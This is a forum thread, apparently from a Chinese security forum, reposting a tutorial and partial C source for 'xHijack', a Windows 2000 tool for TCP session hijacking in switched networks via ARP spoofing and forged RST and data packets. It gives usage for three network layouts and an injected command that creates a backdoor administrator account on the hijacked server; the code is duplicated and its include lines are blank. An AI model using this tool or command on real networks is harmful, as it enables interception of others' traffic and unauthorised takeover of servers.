QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4257|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表 1 I3 O' a+ Q3 K% W+ l, s
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。
/ h$ [  F2 z4 c# S- ]第二步是ARP欺骗,具体原理我就不说了。
4 Y) e3 H2 y- f" {第三步就是开始劫持啦。
" c3 v: C. t" i( ?8 J
! E( u  R/ \0 D$ g% Q. ?# [9 B我写了个程序xHijack可以实现第二、三步功能,使用如下:
( `/ O' L1 z& Y% ]& \: W" y7 p3 o) a: e+ s  u: c
Usage: xHijack ServerSide ClientSide , g3 k. V& {7 [1 x( a! U4 j1 W
( \# b' u& \# s. T( u; A
下面根据三种不同的情况分别说明如何输入参数: " J4 _- S  R  p* M+ i0 w3 J
<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。 2 ~9 K5 h! G# M* S$ h+ d2 F7 a5 T8 l
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可
: n4 v) L$ g' t" f5 t+ Z0 lc:\>xHijack 192.168.0.2 192.168.0.3 , Y$ @3 E! w3 F, e7 o2 H! u
劫持前数据流程:server <--> client
4 @) y4 W+ I) R% H劫持后数据流程:server <--> hijacker <--> client
! d1 E2 F; e7 A; b; j
) t/ X+ e& V. k; I* }4 v7 N; k<2>服务器、劫持者处于同一局域网,客户端处于别的网络。 6 J" t% V5 C( N5 h* B5 u
假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数
- B% n% j% X6 M; U4 dxHijack 202.202.202.2 202.202.202.1
" Z  M& u& y( E! F劫持前数据流程:server <--> gw <--> routes <--> client 7 z0 Z6 I! o' _( g" K0 M9 M
劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client ' F; z) n( Y* S6 a
; @9 _& a/ j- X( W& x; y, G: O
<3>客户端、劫持者处于同一局域网,服务器处于别的网络。 . ?, n2 y8 P% P- b9 P( M# P
假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
0 Q" W- O" P7 D" G! vxHijack 192.168.0.1 192.168.0.2 6 r9 O* H# l( J7 E
劫持前数据流程:client <--> gw <--> routes <--> server
4 g) ~+ Z5 c; k$ i9 O3 ~$ e* x劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server
+ j" [$ ]+ q' ~: M" D$ ]4 q: ^& X% B6 D) d# @
输入两个参数后,会提示你选择网卡,然后会提示
9 W, [/ j5 Y; q* C7 E% Cl        <-- List all connections ( N( I% J7 @+ u. y7 B6 Y
r x       <-- Reset the number x connection
! R5 W4 L& X& G+ A; q/ x/ q+ Qw x       <-- Watch the number x connection
4 U) _+ a; c6 [+ B! [h x command   <-- Hijack the number x connection to execute command
$ {$ c) h! k: y; @
. b* A6 F# Y4 Tlist、reset、watch命令我就不解释了。 : O1 r( |0 f2 y1 m( h% [5 X% A
假如现在有如下连接 + y: g/ d. q& P- ]5 a0 |
(1) 202.202.202.202:23 <--> 192.168.0.3:2345 6 X$ ?3 n7 v7 T
我们想要劫持这个连接运行我们的命令,输入 ) }; G: \, o* r7 d: r
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add" # J1 t, U5 M% C5 t3 V
为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
* Y$ o1 z$ [# F7 Qpnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令 5 C) u9 F/ c3 c+ t$ @
都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
, s' [# n$ p/ ?8 K6 n# \' d2 x
7 U8 d  }( a5 x8 S9 l& F劫持的流程如下: 5 i$ b& ?4 P5 {: N# H" t
<1>伪装成Server给Client发一个rst包
0 _5 I9 N% c# B0 e& @<2>伪装成Client给Server发了一个数据包
6 P- j0 c9 `. t1 v2 a% M<3>Server回一个ACK包给client # `' {/ ?: A% M  }. z% _6 h( ^
<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server $ m. |5 w. n! V5 ?1 H, c

! v) V4 w: F( s( ?) T3 M这样的话,我们只能发一个伪造的包,但我想已经足够了。
# B. N7 G( E( O0 k1 C: Y1 j想要一直劫持那个连接也可以,如下 . F2 h2 g% T% v( ~" q: i% h
<1>伪装成Server给Client发一个rst包
* Q0 W, p& W9 X  E) e0 ^9 i<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA
# }& `* V9 ]$ d0 g<3>伪装成Client给Server发了一个数据包 * ~: F$ p/ c3 O4 I) X& R) T3 J
<4>Server回一个ACK包给client ! ]% K8 }# o9 u. r  I
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
7 ^8 [* p# ]. f<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。 + f/ l% f' a- a9 ^3 b
. w* h7 F4 `. F5 J$ _
不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。 3 o5 a, F2 z9 W% U

; y; {0 l' R. n) O* q) b, r6 }- }5 ^2 O4 F7 W9 B
刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,
  w1 B+ r) {1 {: P+ [$ P6 c/ F8 R还请各位多多指点。 . L/ s$ B6 S4 A7 ?. x  R9 S6 W

+ H* b9 W% L5 j' y! D- EBTW:我没有空间,编译好的程序没地方放:(
# m1 x5 E8 X0 n, B1 E/ I
# t3 T" l) A- h- z; W8 s; l
  u: |8 k3 ]7 a% Z* t9 \0 z
. {, ?0 h- ]- e0 r" N: S参考资料
2 {1 s; U5 a" c. B* V4 s$ c% R<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
# R1 O6 p, z4 ]6 _; a: d<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
; S# R, k9 f1 R0 e* `+ i) x
, x5 a! E) M; s8 r, S3 }4 T# f' u; S( ^1 `$ Q: Y$ u& D8 |; |
以下是程序代码
5 J+ O0 Z0 A; f2 u8 p( D7 i0 z---------------------------------------------------------------------- , N( T9 u$ M* {4 \5 T7 l7 J
/*-----------------------------------------------------------------------------
% A. ]- k! a; @File      : xHijack.c
8 h6 H+ V9 \: c; `# A( b% fVersion      : 1.0 / o; v& `/ G! L, V
Create at    : 2002/8/12 " \" |# i' t6 z2 g; L! n6 X
Last modifed at  : 2002/8/19 7 Y, ~# U% G% l3 L; e1 {
Author      : eyas
# a9 z5 t  q8 eEmail      : ey4s@21cn.com 5 Z7 x9 X4 Q  \# g3 r
HomePage    : www.ey4s.org
# l  [% N5 [7 r* n& M4 Y- c) O3 b& M感谢refdom和shotgun发布的源代码,使我获益非浅。 . Z# u: Q) F4 w6 q* ^
If you modify the code, or add more functions, please email me a copy. ) {) [# z" ?6 K) T7 |  g' d/ e, G

9 d: k9 V. J7 A备注: , r  S8 v- x: G- ]. Y! @- h
<>没有考虑IP头、TCP头超过20字节的情况
5 w9 m3 t  w! o1 s0 K<>没有考虑数据包分片的情况
+ q! m- B: `# {! a1 G<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了 ( q9 Q9 w2 H+ X( m/ D- x
显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问
& A  e) r! L  z8 m! c$ I7 w5 b题了。
: i7 o( a# g" f. E" `+ u; T
8 {$ y6 k" R  `3 P/ n& w# o9 ~也许下一版本会修正这些问题,也许不会有下一版本了。
2 o+ c' X, m) @3 r& n/ h8 T* y3 L9 T4 O/ j8 q9 u; z& ^0 f
-----------------------------------------------------------------------------*/
- X* p. b" s9 Z$ G#include
) o* N* ~0 a, U9 I6 `! R#include
- m- v; ~- H6 {7 |2 B, w#include
( ?) j5 S) A0 s. v1 Z, l+ A#include
$ a( U! c) N7 h& H" w  ?#include ( }( i$ a* _  V8 d: `  L  N9 F
#include
, ~0 b' K  `' m0 L0 c% P0 v, ?9 l2 f#include
3 |( s# F: d3 M" a6 T9 g
1 p, X  G$ r9 W7 Y9 C! T8 m: Y#pragma comment (lib, "packet")
" C, |/ ]2 }* o/ J& H#pragma comment (lib, "iphlpapi")
8 O: @  k; Q% l+ B+ u$ H#pragma comment (lib, "ws2_32")
% X: o8 d, t. o# d. ~
0 g. G# A3 B6 ~7 z+ C#define Max_Num_Adapter 10
% W( r$ M9 L8 ]* x! Z" F7 r; }#define Max_Num_IPAddr  5 , @5 Y9 y5 [; P; m  L9 x
#define EPT_IP      0x0800      /* type: IP  */
$ L# L* F4 H! S1 C( S9 G#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */ 0 l2 v! w7 |) a
#define EPT_ARP      0x0806      /* type: ARP */
  @, h2 z5 y/ q& d" g) T1 u( `" _2 F. A) D5 B1 J$ p5 b
#define  ACTION_NONE    0
+ n. ?* f, R# W9 S$ [( j! O4 c#define  ACTION_WATCH  1
: V: R2 B& h" U#define  ACTION_RESET  2
1 P0 H3 {  J+ G* P7 \#define ACTION_HIJACK  3
( R# Z$ f# {  p: c& u. w
: P% _  v7 |: k$ e! w6 k# Q2 x/*以1字节对齐*/ % O# d) I  q; e7 X+ Z
#pragma pack(1)
# a* w, \1 u. Mtypedef struct _ehhdr
$ d9 L3 [2 M- ?, B4 h0 [) Q{
  }: \# b" H; W  unsigned char  DestMAC[6]; * S0 x! \  _: m6 [' ~
  unsigned char  SourceMAC[6];
# h+ F; r: K9 \6 R0 L, T  unsigned short  EthernetType;
) T! E* P/ {1 B$ [3 K9 H}EHHDR, *PEHHDR;
7 z7 k7 n  B# N6 R1 P9 Y# A6 e3 q% z. [+ {
typedef struct _iphdr        //定义IP首部
3 t; q: a) ]2 S7 m4 Q2 g9 k9 y* r  A/ O& S{ " O) |9 O0 D( K: d3 c/ y, [
  unsigned char h_verlen;      //4位首部长度,4位IP版本号 1 {; ^  D' S, H  k1 n) k' ^
  unsigned char tos;        //8位服务类型TOS
, l. H9 p2 K( ]; [/ w  unsigned short total_len;    //16位总长度(字节)
' U2 D) M1 j6 g. b+ ]2 ]1 |& v  unsigned short ident;      //16位标识 # a, o$ B8 j  t3 J" E8 W
  unsigned short frag_and_flags;  //3位标志位 - J$ X6 L; S' s) Q& T/ c7 {; _8 w6 e
  unsigned char ttl;        //8位生存时间 TTL
0 g4 E: R* R# h. s) i- _  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
0 U* F6 O6 v! i( r5 g$ P* {  unsigned short checksum;    //16位IP首部校验和
) J" D$ x, C- g6 v4 ~* @( N  unsigned int sourceIP;      //32位源IP地址 " ]$ ]6 a, d% n$ _5 ]+ z, U
  unsigned int destIP;      //32位目的IP地址 ! g' ]% L/ C+ {; J4 x9 n
}IPHDR, *PIPHDR; ; v6 H' n+ b3 b8 Y* e! u

; R( i' i6 D/ Htypedef struct _tcphdr        //定义TCP首部 2 g& n( j7 ]4 ]; x
{
8 H/ U0 R* C2 x$ o  USHORT th_sport;        //16位源端口 2 u( O7 ^/ b' F& Z0 m0 @4 V# d
  USHORT th_dport;        //16位目的端口 7 I; C! Z/ L6 {1 [
  unsigned int th_seq;      //32位序列号 % N' i" Z8 B) G+ F$ T; X- T: U: F
  unsigned int th_ack;      //32位确认号 / F8 d4 L/ V/ t0 T2 F: ^
  unsigned char th_lenres;    //4位首部长度/6位保留字 $ Y1 J4 _$ P! \/ T
  unsigned char th_flag;      //6位标志位 / l" F, ^5 |, \  O! q
  USHORT th_win;          //16位窗口大小 5 {1 @2 ~; {( E
  USHORT th_sum;          //16位校验和 - D! R3 z; {# @/ K0 J
  USHORT th_urp;          //16位紧急数据偏移量
  x/ I" E( w2 W% L1 W}TCPHDR, *PTCPHDR;
! v8 G7 g5 Y; y$ i2 Z# D( T
! K- N* n8 |) f# Ttypedef struct _psdhdr        //定义TCP pseudo header ! ?! U* ^/ {# v/ K8 f
{               
7 u7 o( z& k6 J. O8 X2 e* `  unsigned long saddr;
- U# R2 ]* `+ {; U1 |$ L  unsigned long daddr;
- |5 F  Q: w* L. q$ ~6 n7 Y  char mbz;
4 T% Q  G7 d/ T2 {6 T  char ptcl; * y; [1 D, X! o- n3 P2 O
  unsigned short tcpl; / s1 w$ s, [0 }7 S
}PSDHDR, *PPSDHDR; ' e* p+ N7 y- h& l7 [

7 K/ v" p7 C. ~) J$ u$ O2 Q( Etypedef struct _arphdr
9 K0 ], E8 U. j+ D+ R/ a" F: |{ 1 T! z4 ~1 N9 f8 I6 A* r
  unsigned short  HrdType;//硬件类型 # }3 f  I- W+ v  ^+ |% w! a
  unsigned short  ProType;//协议类型 * @$ ~. K2 u; J, R6 W3 x' {
  unsigned char  HrdAddrlen;//硬件地址长度 - R4 m4 N! @! K$ r
  unsigned char  ProAddrLen;//协议地址长度
! n2 V7 R/ w; |5 T# h  A) R9 X  unsigned short  op;//operation : ?+ Q+ \  m. j- f# P8 z' i+ B
  unsigned char  SourceMAC[6];/* sender hardware address */
4 r2 t+ q  V. N/ p) n  unsigned long  SourceIP;/* sender protocol address */ 5 l# o! k3 B* N& y
  unsigned char  DestMAC[6];/* target hardware address */ $ `9 O+ z% u( {+ w* e4 k9 ]# n
  unsigned long  DestIP;/* target protocol address */   Q4 t6 ~& R* b
}ARPHDR, *PARPHDR; % ?+ |+ b# J, n, X9 Z; x

; w, J8 c( X6 H* e; {2 ]3 Vtypedef struct _ArpPacket
7 |8 L: G# ?, @, y  f0 s- n' ?1 J6 Y8 V{ : V$ X" i! K+ z7 P! h' Z
  EHHDR  ehhdr; 3 b# [$ h. L, W2 V$ }( Y
  ARPHDR  arphdr; 2 S4 w# @' q; Z
}ARPPACKET, *PARPPACKET;
) w  X# B/ c; c, _6 m1 ?  ^% ~' N1 C- a
typedef struct _tcppacket - f7 U7 q' z& F& _
{
& f  c; v/ I. S3 i; k8 n  EHHDR  ehhdr;
- ]7 `: S$ {7 D! |7 _  IPHDR  iphdr; 6 ~# N- ]9 @/ Y+ w( B+ E
  TCPHDR  tcphdr;
& b- Q1 C' A* O. N  ^( H}TCPPACKET, *PTCPPACKET;
! A2 T$ h6 a. h2 F/ z5 L0 b# W' [* f+ ?, U& U& S
typedef struct _conninfo 5 Z# R6 Z3 }& s7 r6 U0 w
{   \# v/ l8 g" f* e
  DWORD  dwServerIP; ) U+ ]1 p- ?) A1 }: n9 h. f
  USHORT  uServerPort; ' V( G" C0 D4 }+ Q
  DWORD  dwClientIP; ! c$ l. [1 F# S6 K* D  z' w
  USHORT  uClientPort;
6 _( I' H# v8 B! O7 T  DWORD  ident;//标识
+ q2 a* r# B8 n. G5 O  BOOL  bActive;
  r. U/ D7 V* Y! x- I7 b: r3 |& C  struct  _conninfo  *Next; . v. L! Z" X; M( i* d; [7 a) E. R
}CONNINFO, *PCONNINFO; # b0 k8 N# F3 W6 L! s. D! v  l
/ Y, ^5 o  v$ [( o. }
//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP, ( v  [( M( [2 C) Q: B! i
        g_ClientSideIP, 4 d  F7 Z) x" d- v
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
5 W# E/ i1 D9 {" Q        g_TotalIP = 0;// 5 N1 x$ t' z6 `9 s
unsigned char  g_szOwnMAC[6];//本机MAC地址
; O2 ~- O) l. Q8 N$ t& bunsigned char  g_szClientSideMAC[6]; + f1 ?. N/ U6 }) j" o: P, Z* J
unsigned char  g_szServerSideMAC[6]; % Q6 i" D) n# i; K4 d, B$ M
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
/ J, {. u- H8 l2 _- \! }% q* o) V. u& |LPADAPTER    g_lpAdapter; 4 G; f2 [4 ^& ]3 L
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread 3 ~, z. Z7 H4 Z, Q' ^) o7 L
HANDLE      g_hThread[4]; 6 {! ?+ l8 b5 t0 R! h! a
char      g_szCommand[128];//command to execute after hijack 6 T' z* q+ ?: r: @- h# C
DWORD      g_dwAction;//action type 4 z% \( Y0 W/ U. ~0 P
DWORD      g_dwCtrlConn;//action 所控制连接的标识 1 m# Z( E4 W/ Q% H5 @
DWORD      g_ident;//节点标识,递增   P' B3 [; o2 h& d5 {6 }  m
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
( W0 d. S0 K& K7 v  k8 X2 G7 G        g_pConnHead = NULL,
3 a) [( a; I7 p& R+ a6 o        g_pConnLast = NULL;
, w. t: w; B8 P# L! _char      g_szSendPacketBuf[1514];
, T6 |0 D' V3 i, B& Z0 U% R( ~- uLPPACKET    g_lpSendPacket; 1 D/ }( p! n0 w# p) M
//函数 1 t6 ?3 z2 e  s8 ]- s: O
void      usage(void); ) f; W5 Q5 x) ]6 O
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
! i" _5 K( [8 l' R) Pvoid      ListAllConnection();//列出当前所有的连接 + |8 O8 @$ }0 S: Q. A
void      ResetActionAllFlag(); - f) {+ P$ R- \& e  A  Z
USHORT      checksum(USHORT *, int); 5 m2 d5 q$ Q1 v7 }( y
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 , g/ ^& x" ]# C5 M( l% Q: h! S: b
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
, T6 u$ f- S6 ^( h/ w4 p3 Y  j+ vLPADAPTER    InitAdapter();//初始化一些参数和全局变量 9 [" G! y. O* Q/ P# S3 [
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 0 S1 i& l' r) o- a
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
3 |3 C' u8 |  y/ vDWORD      GetConnNum(char *, DWORD, DWORD *);
* m! p; U/ D- t* A' E8 FDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); % E, ~8 I; [  S0 I2 `4 e. ~
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 8 ^( K) t+ `5 O0 G% J2 L; {% h
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
, x( J3 V$ U# p& q) A; cDWORD  WINAPI  InterfaceThread(LPVOID);// 1 I( s  S4 {( o, ~" ~& S# ?
BOOL  WINAPI  CtrlEvent(DWORD); & t2 K0 |; l$ c$ v' [: b

. k2 Y1 U7 W' Y6 Y; M& e
, q9 h' k0 I8 l9 b, Y6 g& k1 ^& j' z
8 C9 \6 C4 G0 Y, j( C3 I! Tint main(int argc, char **argv) , R9 O1 H' k* y
{ + y, z: I% d8 ?' ~
  struct    bpf_stat stat;
* D) \$ M8 D) o$ G3 D) S( l. v% P  }  int      i; - g/ l6 v( x6 E9 b1 U

' z; [2 j* ^) m  usage(); + n: H1 f8 l1 _' G
  if (argc != 3) return 0;
6 ^  {- Z- a5 f& T6 K  //取得参数 & o/ u4 ^" w2 d! M' M
  g_ServerSideIP = inet_addr(argv[1]);
. x- u# E6 k' V; W9 ~! m6 S  g_ClientSideIP = inet_addr(argv[2]); # t" Z( C+ Q0 S- {
  //初始化adapter & 一些全局变量 ! b! ]) G6 I4 c$ y
  g_lpAdapter = InitAdapter(); ! P' E4 i" \, C% U2 c8 d
  if(!g_lpAdapter) return 0;
2 `  @& c4 x: H2 i3 @  //get ServerSide MAC & ClientSide MAC
' `$ }* p6 o6 \% F  O$ m  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
3 V. A$ d3 p7 |$ z9 A  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; . |1 V* {! p0 n- f2 I/ J/ w) G- ^
  //create arp spoof thread     / e2 [; |/ U& E! T1 x
  i = 1;
# ?9 M# N4 P$ ^9 b; s; t  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); ) Y9 h6 Y7 n4 w6 n3 ?0 p7 s
  Sleep(500); 9 h/ d/ r7 S. Q9 ?8 F* |/ r
  i = 2;
$ K, |% V- X/ i  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); 2 y5 Q& o# c8 O3 M: g% n
  //create analyse packet thread 9 u# \  [! U6 o# B9 }+ `' r+ @
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0); # t) t9 ?8 F, U) H! V$ v, j
  //create interface thread 5 [! o* m) r: }! w: S
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); . x' E4 Y1 O* Y: P7 f
  //set console ctrl handle ( I# f# T7 E$ R) {. i4 ?5 M  n+ H- h
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) 3 Y8 T% z9 i6 b+ k9 ?
  { 6 ^' \" M1 [; z( {+ f3 H
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
; a% D+ P/ B$ |9 M    return 0; 9 S1 G' S  a! {
  }
6 ^( [2 s/ L, _0 W" n  //wait for any thread exit : c% ^# G# a# g( B" Q2 `1 a
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
9 Y) k0 _( ^" D  //print the capture statistics
* k$ F8 O+ [1 ?' ?* _7 H1 {  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) 8 ^0 ?  c) ~3 }* w/ ~$ W
    printf("Warning: unable to get stats from the kernel!\n");
" @& ?. S* L. t$ y5 @  else
. g! |: f* [* j    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
: e" U9 A3 k0 b9 S5 @) a  //free resource   4 A7 C9 k5 P# ]& u6 n* T6 m
  PacketFreePacket(g_lpSendPacket);
" j! A6 u9 A9 u" E9 b. j  PacketCloseAdapter(g_lpAdapter);
5 _  U0 c; x, H/ y% F2 C. L  return 0; ) q5 p) D2 x7 x, {: }- V% c+ d3 f; ~
}
0 h$ A. h- q7 V6 H
7 _! x5 l' Y4 ?5 ^" l: a  P//
5 b7 Y1 Z; w4 A- x# q- y6 i- x//功能:重置所有于ACTION有关的标志
8 ^: y6 D$ t+ [7 ]- Y//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
/ f: f4 \  b+ Z$ `2 q$ k        g_ClientSideIP, ) \: q, c+ t0 R  o, H: R, x
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
9 M: `/ ~6 l4 u3 l        g_TotalIP = 0;//
) d7 `! ], p0 n3 n" F0 r3 q* q% _unsigned char  g_szOwnMAC[6];//本机MAC地址 2 a. J  [/ i5 a* P
unsigned char  g_szClientSideMAC[6]; ! Y# X" W& y6 |! D) ~  T
unsigned char  g_szServerSideMAC[6];
# P7 u1 V7 O6 b. kchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
$ ?; D. ], G( ]( P$ r& _: SLPADAPTER    g_lpAdapter; 9 h1 j& `- D$ F0 |( r; [
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
0 H7 a7 {) p; x% X% [9 g9 dHANDLE      g_hThread[4];
* Y2 V- R& }; P) O/ x% W' Ichar      g_szCommand[128];//command to execute after hijack
$ C0 I) ~$ t; {DWORD      g_dwAction;//action type 1 g: V! R8 h/ u$ d
DWORD      g_dwCtrlConn;//action 所控制连接的标识 ' u2 m% c6 P4 d  ~
DWORD      g_ident;//节点标识,递增
, V& s# ~( N8 I7 v2 Y8 SPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 / G0 E7 K- e% }4 X& H) B. P5 c. a
        g_pConnHead = NULL,
9 S9 O# }8 v3 C) b% e6 D        g_pConnLast = NULL;
; I3 C& z% s! y3 j( N* Lchar      g_szSendPacketBuf[1514];
7 ?5 S! Z1 z$ ^2 M1 x( JLPPACKET    g_lpSendPacket; 9 F6 T0 u' [7 n' v5 d4 x& }/ q/ M
//函数 4 T$ d, u5 @" R! r
void      usage(void);
+ V& E5 Z! ]! Uvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
( B2 Y+ p5 u! s6 d' |3 tvoid      ListAllConnection();//列出当前所有的连接
) ^7 U* T0 m$ u# K9 ]' v! j: {5 n" |void      ResetActionAllFlag();
4 D" V( _, ]0 q1 XUSHORT      checksum(USHORT *, int);
  F6 _& l$ [( ]7 Q) F1 NBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
: J- z  ?% Q. C9 |( ~0 ABOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 7 q& U% v9 T# s9 Z3 n; _4 G" h
LPADAPTER    InitAdapter();//初始化一些参数和全局变量 + i2 [3 y2 ?9 w# D$ s6 h
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 3 w7 I( T/ x' F" y0 H* F9 {
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 & X; C  N6 A+ s) i  r
DWORD      GetConnNum(char *, DWORD, DWORD *); , X; x* _, U5 E5 l# n4 l
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); 8 s. r( I: a9 P! N  S, I( u3 {
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
4 O9 `) x- Z* u. c  P% `# GDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 4 s) Y+ S4 r$ g% ^- K
DWORD  WINAPI  InterfaceThread(LPVOID);// ) j- Z( W1 [' c2 K
BOOL  WINAPI  CtrlEvent(DWORD); 0 q# Z, _7 x3 T: I2 Q+ G

% D6 u1 Q5 E7 u
6 e. _, T4 a! ?0 c' m% {1 `4 t. ]+ p0 ~! z' S# L
int main(int argc, char **argv) * }. T3 ?/ K+ V8 P( `
{ # e! m5 Z5 ~6 ^8 d6 |4 R
  struct    bpf_stat stat;
: M  O7 Y+ G4 R: p# Y3 [7 s& ]  int      i; 5 }5 Q$ U! i+ f# [+ s3 [/ x# w

5 l: e# h$ `8 {% c5 w  usage();
+ O1 B2 _6 n! y, V, D0 `9 {, y) y$ q  if (argc != 3) return 0;
" Z& ^  z7 a. f  ~6 d' W  //取得参数
2 S* T* S) [% e6 _/ O4 D0 ~: H  g_ServerSideIP = inet_addr(argv[1]);
% k5 I4 \1 v4 _; m" c  g_ClientSideIP = inet_addr(argv[2]);
/ t, R4 G$ i- s* {) e  //初始化adapter & 一些全局变量
. c" ~( {1 k6 @  g_lpAdapter = InitAdapter();
; K4 Y# u4 X$ v  if(!g_lpAdapter) return 0;
) \# m# U3 z, @7 e6 ?9 e  //get ServerSide MAC & ClientSide MAC
5 R$ F+ ?8 R- h! S7 B  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
+ m- L$ P* p+ z6 |6 p7 I4 m1 d  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; # E$ s5 {" a* q. R
  //create arp spoof thread     ' g5 ?$ t' q/ H; C
  i = 1;
" A/ j$ f2 i- O% ~+ V+ K8 X  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); 7 S9 C1 s7 |2 D
  Sleep(500);
) U. G) R/ Y) L  Z! s  i = 2;
+ Q& B$ B: M6 j# Z; L4 z  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
, p) A; o* N3 t2 w2 X  //create analyse packet thread 0 d2 B0 _! N! ?6 N: b* M) P+ {, I3 [
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
+ T- ]# z/ t7 h1 k( I% M  //create interface thread , Y/ _" z% F/ i; c3 }( E0 U
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
& q/ ~3 G& \) l& r9 `6 P  //set console ctrl handle / D; r1 y4 z' [  n% f# v
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) % A! V; ^6 A, {: Q; M( A: c# d) m) H4 _
  {
, H  l8 e2 H5 w. E    printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); 4 ~& x3 m* K4 Y/ ^
    return 0;
# _4 B5 E5 e; u2 J5 S  } / Y! y4 B0 v3 C5 ]" y
  //wait for any thread exit
/ Y% W9 ~- h6 _6 _  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
; s% P9 h9 t8 [1 P) x/ p  //print the capture statistics
6 O( {8 d9 H7 S4 n+ \9 C. p  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
4 ^% d2 C% Y* ~3 }    printf("Warning: unable to get stats from the kernel!\n");
: c- L. U$ L& |$ K8 \  else
% d$ j. y0 o: N& C( I    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
, N3 g: r" C1 m+ F7 u: c  //free resource   
& u  W  o: g1 @! @( q/ h  PacketFreePacket(g_lpSendPacket); / N2 ?! W) N+ g  e" r) \9 R9 G" w
  PacketCloseAdapter(g_lpAdapter); 4 F+ d. w0 z- H+ `* U; j
  return 0;
3 P& l3 S5 J; z3 o} ' N; Q! x; ?' @$ Q% @2 i- T: ^7 D

